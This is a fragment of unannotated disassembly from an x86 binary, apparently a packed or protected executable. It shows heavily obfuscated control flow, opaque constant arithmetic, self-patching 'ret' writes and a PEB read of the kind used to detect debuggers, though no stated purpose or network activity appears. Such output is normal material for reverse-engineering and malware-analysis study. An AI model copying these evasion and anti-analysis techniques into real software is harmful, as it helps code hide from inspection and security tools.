--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_44DD22: ; CODE XREF: sub_44057E+D56Dj pop esi xchg eax, [esp+0Ch+var_C] mov ebp, eax pop eax jmp loc_441802 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- dw 6F68h dd 0C1048EC1h, 0F9E90CCBh db 0D6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44485F loc_44DD3B: ; CODE XREF: sub_44485F+1j push ecx mov eax, large fs:30h call sub_4444CE loc_44DD48: ; CODE XREF: sub_438B66+5AE2j jmp loc_44D50D ; END OF FUNCTION CHUNK FOR sub_44485F ; --------------------------------------------------------------------------- push ecx jmp loc_441B2C ; --------------------------------------------------------------------------- loc_44DD53: ; CODE XREF: y22d6.y.:00443F71j jnz loc_442F49 jmp loc_441647 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_282. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_44DD60 proc near ; CODE XREF: sub_448EB6:loc_438C43p ; y22d6.y.:00449E45j xchg ecx, [esp+0] pop ecx call sub_44D293 retn sub_44DD60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 4868h dword_44DD6C dd 0 ; DATA XREF: y22d6.y.:00438C3Cw ; y22d6.y.:0044A974r ; --------------------------------------------------------------------------- loc_44DD70: ; DATA XREF: y22d6.y.:0044125Do ; y22d6.y.:0044C7E5o push edi xor eax, 19CCEB19h mov cs:[esi+eax*8+0], gs loc_44DD7B: ; CODE XREF: y22d6.y.:00442D27j jmp loc_447A10 ; --------------------------------------------------------------------------- call sub_4499F4 loc_44DD85: ; CODE XREF: y22d6.y.:00445211j or ebx, 816045E6h ; START OF FUNCTION CHUNK FOR sub_44633F loc_44DD8B: ; CODE XREF: sub_44633F+249Aj add eax, 6D5BAEE1h add eax, ebp add eax, 18EE5AF1h mov eax, [eax] jmp loc_445801 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_44DDA0: ; CODE XREF: sub_44AEDA-B03Dj and eax, 347CDA1Ch xor eax, 48CB6725h or eax, 2D64373Bh sub eax, ds:4000E7h test eax, 10000h jmp loc_44C477 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D95 loc_44DDC3: ; CODE XREF: sub_444D95-1C02j mov eax, [ebp-4] mov ax, [eax] and ax, 38FFh cmp ax, 20FFh jz loc_43A39A xor eax, eax jmp loc_44705D ; END OF FUNCTION CHUNK FOR sub_444D95 ; --------------------------------------------------------------------------- loc_44DDDE: ; CODE XREF: y22d6.y.:0044938Ej xor eax, 0BF90DFA8h call sub_43CA1A push edi push 4289DA91h pop edi and edi, 43C4AEB8h jmp loc_43A32B ; --------------------------------------------------------------------------- locret_44DDFB: ; CODE XREF: y22d6.y.:00446008j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_44DDFC: ; CODE XREF: sub_437FD8:loc_43A2F1j ; y22d6.y.:0044C901j jmp loc_4434CE ; END OF FUNCTION CHUNK FOR sub_437FD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44313A loc_44DE01: ; CODE XREF: sub_44313A:loc_44B20Cj mov eax, [esp+0] push edx call sub_44A413 mov eax, 0B4B93D2h call sub_43CA1A push edi push 44A23B6Fh jmp loc_44D112 ; END OF FUNCTION CHUNK FOR sub_44313A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44540D loc_44DE1F: ; CODE XREF: sub_44540D:loc_43DFAEj jnz loc_4401D6 lea edx, [ebp-14h] mov eax, offset dword_442A88 call sub_44D088 lea eax, [ebp-14h] push eax loc_44DE36: ; CODE XREF: sub_443EF1-8354j call sub_44A9DF mov ds:dword_442A78, eax jmp loc_4401C2 ; END OF FUNCTION CHUNK FOR sub_44540D ; --------------------------------------------------------------------------- loc_44DE45: ; CODE XREF: y22d6.y.:0043FA3Dj adc ecx, edi jmp loc_447B1A ; --------------------------------------------------------------------------- loc_44DE4C: ; CODE XREF: y22d6.y.:loc_449318j ; y22d6.y.:0044CAFAj mov eax, 80F02D07h call sub_43CA1A sub eax, 9ED798DAh push ebx push 4AE0262Ch pop ebx jmp loc_44CA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F35E loc_44DE68: ; CODE XREF: sub_43F35E:loc_443873j jnz loc_442843 loc_44DE6E: ; CODE XREF: y22d6.y.:004428B7j jmp loc_443EDD ; END OF FUNCTION CHUNK FOR sub_43F35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_44DE73: ; CODE XREF: sub_43B7D4+75FDj jp loc_4489D0 and ebp, 4A3AAB4Dh loc_44DE7F: ; CODE XREF: y22d6.y.:loc_43D21Dj mov eax, [ebp-10h] push edi push 7A1DF2Ah jmp loc_44D49A ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_44DE8D proc near ; CODE XREF: sub_449307:loc_4403E0j retn sub_44DE8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_44DE8E: ; CODE XREF: sub_44271A+7006j jmp sub_4480DE ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_44DE93: ; CODE XREF: sub_4452EE-6348j jmp loc_44B32A ; END OF FUNCTION CHUNK FOR sub_4452EE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_259. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441AE7 loc_44DE99: ; CODE XREF: sub_441AE7+BDE4j jmp loc_43D973 ; END OF FUNCTION CHUNK FOR sub_441AE7 ; --------------------------------------------------------------------------- loc_44DE9E: ; CODE XREF: y22d6.y.:004493C8j jmp loc_44116D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4491D8 loc_44DEA3: ; CODE XREF: sub_4491D8:loc_43D564j jz loc_43CFC5 not edx jnz loc_444F44 mov ebx, esi jmp loc_43CFC5 ; END OF FUNCTION CHUNK FOR sub_4491D8 ; --------------------------------------------------------------------------- loc_44DEB8: ; CODE XREF: y22d6.y.:loc_442E96j push edi sbb ecx, eax add esi, ecx shl esi, 13h loc_44DEC0: ; CODE XREF: y22d6.y.:loc_44DC4Aj jmp loc_444D75 ; --------------------------------------------------------------------------- loc_44DEC5: ; DATA XREF: sub_4432B8:loc_442A4Co xchg edi, [esp] jmp loc_43E232 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBD3 loc_44DECE: ; CODE XREF: sub_43CBD3+C8A5j jmp loc_44E5D6 ; END OF FUNCTION CHUNK FOR sub_43CBD3 ; --------------------------------------------------------------------------- push 0F6C606Fh cmp ebx, ecx jmp loc_43916F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_44DEDF: ; CODE XREF: sub_44DB81-84A6j or edi, ebp xchg ecx, [ebp+0] add ebp, edi jmp loc_4380D3 ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44DEEB: ; CODE XREF: sub_4450FD-6EB9j ; sub_4450FD:loc_44DB11j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_44205D jmp loc_44616B ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448AF8 loc_44DEFC: ; CODE XREF: sub_448AF8+11j xor eax, 3BC3D493h rol eax, 18h xor eax, 1713EF50h xchg eax, [esp+0] mov edx, esp push edx push edi jmp loc_43D55F ; END OF FUNCTION CHUNK FOR sub_448AF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_44DF17: ; CODE XREF: sub_449641:loc_43A0BFj cmp edi, 0DAE1C3CDh jmp loc_43BC2D ; END OF FUNCTION CHUNK FOR sub_449641 ; =============== S U B R O U T I N E ======================================= sub_44DF22 proc near ; CODE XREF: sub_4387EA+F32Bj var_4 = dword ptr -4 push ebx mov ebx, eax xchg ebx, [esp+4+var_4] retn sub_44DF22 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44DF29: ; CODE XREF: y22d6.y.:0043C26Aj jmp locret_44AA8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4409F4 loc_44DF2E: ; CODE XREF: sub_4409F4+326Bj call sub_444A91 loc_44DF33: ; CODE XREF: sub_442C41-686Fj jmp loc_440359 ; END OF FUNCTION CHUNK FOR sub_4409F4 ; --------------------------------------------------------------------------- loc_44DF38: ; CODE XREF: y22d6.y.:00439447j jmp loc_441817 ; --------------------------------------------------------------------------- loc_44DF3D: ; CODE XREF: y22d6.y.:00439C04j sbb edi, 0A6194FC8h cdq ; START OF FUNCTION CHUNK FOR sub_43704E loc_44DF44: ; CODE XREF: sub_43704E:loc_439BF8j and ebx, ds:4000E6h add ebx, 7E1B78B3h xchg ebx, [esp+4+var_4] jmp loc_43DD87 ; END OF FUNCTION CHUNK FOR sub_43704E ; =============== S U B R O U T I N E ======================================= sub_44DF58 proc near ; CODE XREF: sub_44D293+3j ; FUNCTION CHUNK AT 00441994 SIZE 00000005 BYTES add esp, 0FFFFFED8h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax push offset sub_44B35D jmp loc_441994 sub_44DF58 endp ; =============== S U B R O U T I N E ======================================= sub_44DF73 proc near ; DATA XREF: y22d6.y.:00443603o var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00437A3F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B4BA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00440B3B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044845B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A872 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044B449 SIZE 0000000A BYTES push ebx mov ebx, ecx xchg ebx, [esp+0] mov ecx, offset loc_44A878 jmp loc_44B449 sub_44DF73 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B006 loc_44DF83: ; CODE XREF: sub_43B006:loc_44D411j call sub_444581 push offset sub_4443AD jmp nullsub_265 ; END OF FUNCTION CHUNK FOR sub_43B006 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A5E5 loc_44DF92: ; CODE XREF: sub_44A5E5:loc_44C87Fj mov edi, ecx pop ecx and edi, 53EC226Ch sub edi, 3279E474h jmp loc_444CD8 ; END OF FUNCTION CHUNK FOR sub_44A5E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD19 loc_44DFA6: ; CODE XREF: sub_43AD19+Fj pop ebx or ebx, 9F02E4EAh add ebx, 209EE2C5h mov [ebx], eax pop ebx lea eax, nullsub_17 call sub_443258 mov ebx, edx jmp sub_44E14E ; END OF FUNCTION CHUNK FOR sub_43AD19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_44DFC8: ; CODE XREF: sub_43B09B:loc_448394j xor eax, 0B9C9FDF0h add eax, ebp add eax, 0B949BFEEh mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_440F5D jmp loc_449F4B ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AC5C loc_44DFE6: ; CODE XREF: sub_43AC5C+A2Fj or eax, eax jnz loc_446F8D jmp loc_4402BF ; END OF FUNCTION CHUNK FOR sub_43AC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B06F loc_44DFF3: ; CODE XREF: sub_44B06F:loc_43D082j call sub_440494 loc_44DFF8: ; CODE XREF: sub_43B7B5:loc_43DCB0j pop ecx add ecx, 9A6137D0h xor ecx, 0D1EB69E7h or ecx, 95DA594Ch add ecx, 206618E5h xchg ecx, [esp+0] jmp loc_43731D ; END OF FUNCTION CHUNK FOR sub_44B06F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_44E019: ; CODE XREF: sub_437B43:loc_440A61j mov [edx], eax xchg ebx, [esp-8+arg_4] mov edx, ebx call sub_43D16D loc_44E025: ; CODE XREF: sub_4477E6+6D11j jmp loc_44870A ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- loc_44E02A: ; CODE XREF: y22d6.y.:00441428j jmp loc_44311A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_44E02F: ; CODE XREF: sub_43E81B+D93Ej pop ecx pushf mov ecx, 9BDE4985h shr eax, 1Ch loc_44E039: ; CODE XREF: sub_43E81B:loc_44B0BCj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_443797 ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_44E044: ; CODE XREF: sub_44DB81-8529j cdq loc_44E045: ; CODE XREF: sub_44DB81:loc_44423Dj mov eax, [esp+0] push eax call sub_44C171 or eax, eax jnz loc_4380DB jmp loc_4456D5 ; END OF FUNCTION CHUNK FOR sub_44DB81 ; =============== S U B R O U T I N E ======================================= sub_44E05B proc near ; DATA XREF: y22d6.y.:0044AEB7o mov ds:dword_41E0E4, eax lea eax, nullsub_198 mov byte ptr [eax], 0C3h jmp nullsub_198 sub_44E05B endp ; --------------------------------------------------------------------------- pop edx mov eax, [esp] push eax mov eax, edx push offset loc_43CDE2 jmp loc_449B91 ; --------------------------------------------------------------------------- loc_44E080: ; CODE XREF: y22d6.y.:004445ADj jbe loc_441834 sub ebp, 5B2BDBEAh jmp loc_443451 ; =============== S U B R O U T I N E ======================================= sub_44E091 proc near ; CODE XREF: sub_444541-8367p ; y22d6.y.:0043F09Bj ; FUNCTION CHUNK AT 00446DAC SIZE 00000005 BYTES xchg edx, [esp+0] pop edx lea eax, sub_43DB23 mov byte ptr [eax], 0C3h jmp loc_446DAC sub_44E091 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DB23 loc_44E0A3: ; CODE XREF: sub_43DB23+E8B2j mov eax, [esp+0] jmp loc_4392C6 ; END OF FUNCTION CHUNK FOR sub_43DB23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B566 loc_44E0AB: ; CODE XREF: sub_43B566:loc_439586j jz loc_43E44B loc_44E0B1: ; CODE XREF: sub_43B252+2A41j jmp loc_44CDE2 ; END OF FUNCTION CHUNK FOR sub_43B566 ; --------------------------------------------------------------------------- mov ebx, 527D57Ah ror ebp, 10h jmp loc_43E448 ; --------------------------------------------------------------------------- loc_44E0C3: ; CODE XREF: y22d6.y.:0044D24Dj xchg esi, [esp] call sub_43BE66 mov eax, 0F75CA70h push ebx push 0BA8849A7h pop ebx sub ebx, 0F6CEC66Dh test ebx, 400000h jmp loc_43FFB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4446B8 loc_44E0E8: ; CODE XREF: sub_4446B8:loc_445A98j or edx, 276EC232h add edx, 842F2C6h mov [edx], eax pop edx lea eax, nullsub_1 mov byte ptr [eax], 0C3h jmp loc_444C24 ; END OF FUNCTION CHUNK FOR sub_4446B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449FA loc_44E105: ; CODE XREF: sub_4449FAj xchg ecx, [esp+0] jmp loc_44A4B7 ; END OF FUNCTION CHUNK FOR sub_4449FA ; --------------------------------------------------------------------------- loc_44E10D: ; DATA XREF: sub_43C694:loc_437CFEo jmp loc_44BD91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_44E112: ; CODE XREF: sub_44B1D2-F8BEj ; sub_44B1D2:loc_444354j pop ecx xchg eax, [esp+4+var_4] mov ebp, eax pop eax retn ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444A4D loc_44E11A: ; CODE XREF: sub_444A4D+9j jmp sub_4480DE ; END OF FUNCTION CHUNK FOR sub_444A4D ; --------------------------------------------------------------------------- loc_44E11F: ; CODE XREF: y22d6.y.:0043D5E0j jmp loc_44DC33 ; --------------------------------------------------------------------------- mov eax, 0A7A44D83h push ebx push 52F1B473h pop ebx and ebx, 35555A89h add ebx, 0EFF39738h xchg ebx, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44928B loc_44E144: ; CODE XREF: sub_44928B:loc_4415D7j call sub_43B878 loc_44E149: ; CODE XREF: sub_4432B8+78B2j jmp loc_44E597 ; END OF FUNCTION CHUNK FOR sub_44928B ; =============== S U B R O U T I N E ======================================= sub_44E14E proc near ; CODE XREF: y22d6.y.:00442973p ; sub_43AD19+132AAj ; FUNCTION CHUNK AT 0043A721 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AD0E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B18D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043D7FB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043F4F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447DA7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448BEC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D8E1 SIZE 0000000D BYTES xchg ebx, [esp+0] pop ebx test al, al jz nullsub_367 jmp loc_43F4F1 sub_44E14E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44E15F: ; CODE XREF: y22d6.y.:loc_4463FBj jz loc_44A7DE jmp loc_4439F6 ; --------------------------------------------------------------------------- loc_44E16A: ; CODE XREF: y22d6.y.:0043CD91j mov [edx], eax ; =============== S U B R O U T I N E ======================================= sub_44E16C proc near ; CODE XREF: sub_43C3DD:loc_443BB2p xchg edi, [esp+0] pop edi loc_44E170: ; CODE XREF: sub_43B7B5:loc_445311j mov edx, 19CFC62Bh call sub_44D293 push eax call sub_44D002 loc_44E180: ; CODE XREF: sub_438A94+15C12j jmp sub_43CA1A sub_44E16C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44921D loc_44E185: ; CODE XREF: sub_44921D:loc_449BA0j pop ecx rol ecx, 8 add ecx, 611BA48Dh mov [ecx], eax pop ecx lea eax, loc_442502 jmp loc_44B767 ; END OF FUNCTION CHUNK FOR sub_44921D ; --------------------------------------------------------------------------- locret_44E19D: ; CODE XREF: y22d6.y.:loc_43716Cj retn ; --------------------------------------------------------------------------- loc_44E19E: ; CODE XREF: y22d6.y.:0044D6DCj jmp near ptr loc_44BD1D+1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_364. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D59A loc_44E1A4: ; CODE XREF: sub_43D59A:loc_43D5A7j pushf push 0B1059B6Ch pop ebx xor ebx, 9EBF29FDh loc_44E1B1: ; CODE XREF: y22d6.y.:loc_441251j add ebx, 0D08996D9h popf jmp loc_439CA7 ; END OF FUNCTION CHUNK FOR sub_43D59A ; =============== S U B R O U T I N E ======================================= sub_44E1BD proc near ; CODE XREF: sub_442638p ; sub_4416F3:loc_443901j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043A014 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043B175 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043D6AB SIZE 00000005 BYTES pop edx jz loc_43B175 mov eax, [esp+0] push eax mov eax, edx jmp loc_43A014 sub_44E1BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_44E1CF: ; CODE XREF: sub_44271A:loc_444799j pop eax or eax, 0CD32B09Ch add eax, 1F0BE287h push eax call sub_439A78 loc_44E1E2: ; CODE XREF: sub_44256D+6198j jmp loc_4424D6 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CFF2 loc_44E1E7: ; CODE XREF: sub_43CFF2+8CC8j jmp loc_439AAB ; END OF FUNCTION CHUNK FOR sub_43CFF2 ; --------------------------------------------------------------------------- loc_44E1EC: ; CODE XREF: y22d6.y.:loc_43ADA6j jge loc_44428C ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_44E1F2: ; CODE XREF: sub_4475B3-3853j jmp sub_44A46F ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_44E1F7: ; CODE XREF: sub_439051+661Cj ; sub_4383E0:loc_445ED3j jmp loc_43D835 ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_44E1FC: ; CODE XREF: sub_437FD8+633Ej jmp loc_43A2EB ; END OF FUNCTION CHUNK FOR sub_437FD8 ; --------------------------------------------------------------------------- loc_44E201: ; CODE XREF: y22d6.y.:0043BEF2j jmp loc_447D70 ; --------------------------------------------------------------------------- sbb edi, esi or ebx, edx jmp loc_44428C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44E20F: ; CODE XREF: sub_44B17B-1BF0j adc esi, ebp jmp loc_440F58 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442856 loc_44E216: ; CODE XREF: sub_442856+Aj sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_44182A ; END OF FUNCTION CHUNK FOR sub_442856 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B656 loc_44E225: ; CODE XREF: sub_43B656+12331j jmp loc_43EBC8 ; END OF FUNCTION CHUNK FOR sub_43B656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4400D5 loc_44E22A: ; CODE XREF: sub_4400D5+E499j mov byte ptr [eax], 0C3h jmp sub_44D3B1 ; END OF FUNCTION CHUNK FOR sub_4400D5 ; =============== S U B R O U T I N E ======================================= sub_44E232 proc near ; CODE XREF: sub_401000+1BBp ; sub_401000+1E9p ... call sub_44E242 jmp ds:off_41E034 sub_44E232 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A0A7 loc_44E23D: ; CODE XREF: sub_44A0A7+1Ej jmp loc_44B075 ; END OF FUNCTION CHUNK FOR sub_44A0A7 ; =============== S U B R O U T I N E ======================================= sub_44E242 proc near ; CODE XREF: sub_43B9F3:loc_444DAFj ; y22d6.y.:loc_448605j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437934 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043BC88 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043D5AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E88D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004428FD SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00445076 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00446211 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044B94A SIZE 00000005 BYTES jnz loc_446211 xchg edi, [esp+0] push edi pop edx jmp loc_44B94A sub_44E242 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_44E252: ; CODE XREF: sub_43C6D7:loc_43D951j jns loc_442540 loc_44E258: ; CODE XREF: sub_448AF8-30E8j jmp loc_44C9C8 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- loc_44E25D: ; CODE XREF: y22d6.y.:00441B27j jmp loc_438FEB ; --------------------------------------------------------------------------- mov eax, 7C71BA25h jmp loc_44253E ; --------------------------------------------------------------------------- mov eax, 0EFFDE014h call sub_44137A loc_44E276: ; CODE XREF: y22d6.y.:0044D813j jmp nullsub_315 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44E27B: ; CODE XREF: sub_448EB6+21A7j jmp nullsub_274 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447BB2 loc_44E280: ; CODE XREF: sub_447BB2+37A6j pushf push 0B9B4BFB7h pop ecx and ecx, 24D0F570h loc_44E28D: ; CODE XREF: y22d6.y.:0043C705j or ecx, 0D6CD5931h jmp loc_44B291 ; END OF FUNCTION CHUNK FOR sub_447BB2 ; --------------------------------------------------------------------------- add esi, ecx jmp loc_438BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416CB loc_44E29F: ; CODE XREF: sub_4416CB-8171j jge loc_4444E2 loc_44E2A5: ; CODE XREF: sub_446FE9+9j jmp loc_4397EE ; END OF FUNCTION CHUNK FOR sub_4416CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A5E5 loc_44E2AA: ; CODE XREF: sub_44A5E5-13419j jmp sub_43EF0B ; END OF FUNCTION CHUNK FOR sub_44A5E5 ; --------------------------------------------------------------------------- sub edi, ecx jmp loc_4444DA ; =============== S U B R O U T I N E ======================================= sub_44E2B6 proc near ; CODE XREF: sub_439051:loc_44368Ej ; FUNCTION CHUNK AT 0043B668 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043FF77 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044102B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445D71 SIZE 0000000E BYTES push ebx push 38E7FDE6h pop ebx or ebx, 6C63A030h rol ebx, 11h cmp ebx, 1BBE5572h jmp loc_44102B sub_44E2B6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA5D loc_44E2D1: ; CODE XREF: sub_43DA5D+B23Bj push 0 call sub_44CEB8 ; END OF FUNCTION CHUNK FOR sub_43DA5D ; START OF FUNCTION CHUNK FOR sub_447940 loc_44E2D8: ; CODE XREF: sub_447940:loc_445281j jmp loc_43941D ; END OF FUNCTION CHUNK FOR sub_447940 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_44E2DD: ; CODE XREF: sub_43B7D4:loc_44636Aj ; sub_43B7D4+AD68j push 0A93D539Fh pop eax sub eax, 0CF613B41h xor eax, 0CA92F30Ah add eax, ebp add eax, 0ECB114A8h jmp loc_44B703 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_44E2FC: ; CODE XREF: sub_43B252:loc_4376DCj ; sub_43B252+63AEj push 50E7247Ch pop eax or eax, 8A9B4E7Dh cmp eax, 5E2328D5h jmp loc_43D896 ; END OF FUNCTION CHUNK FOR sub_43B252 ; =============== S U B R O U T I N E ======================================= sub_44E313 proc near ; DATA XREF: y22d6.y.:loc_4417E7o ; FUNCTION CHUNK AT 004471C5 SIZE 00000005 BYTES xchg eax, [esp+0] mov edx, eax call sub_44D088 pop edx pop eax loc_44E31F: ; CODE XREF: y22d6.y.:004382F3j jmp loc_4471C5 sub_44E313 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_44E324: ; CODE XREF: y22d6.y.:00448EB1j retn ; --------------------------------------------------------------------------- loc_44E325: ; CODE XREF: y22d6.y.:0044C3CCj jmp locret_4403DF ; --------------------------------------------------------------------------- loc_44E32A: ; CODE XREF: y22d6.y.:004437F4j jmp loc_4499B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F422 loc_44E32F: ; CODE XREF: sub_43F422-714Aj jmp loc_44C5F7 ; END OF FUNCTION CHUNK FOR sub_43F422 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E139 loc_44E334: ; CODE XREF: sub_43E139:loc_43A0FEj mov byte ptr [eax], 0C3h jmp loc_43F4E5 ; END OF FUNCTION CHUNK FOR sub_43E139 ; =============== S U B R O U T I N E ======================================= sub_44E33C proc near ; CODE XREF: sub_414DEC+35p ; DATA XREF: r69pu5ti:off_41E118o ; FUNCTION CHUNK AT 0043D84B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00449B86 SIZE 00000010 BYTES jnb loc_43D84B mov eax, ds:dword_444B00 call sub_44374A loc_44E34D: ; CODE XREF: sub_4432B8+59B4j jmp loc_449B86 sub_44E33C endp ; --------------------------------------------------------------------------- loc_44E352: ; CODE XREF: y22d6.y.:00444DDCj jmp loc_443F6B ; =============== S U B R O U T I N E ======================================= sub_44E357 proc near ; CODE XREF: y22d6.y.:004375D3j ; y22d6.y.:loc_43A2D2p ; FUNCTION CHUNK AT 00441642 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441F1B SIZE 00000013 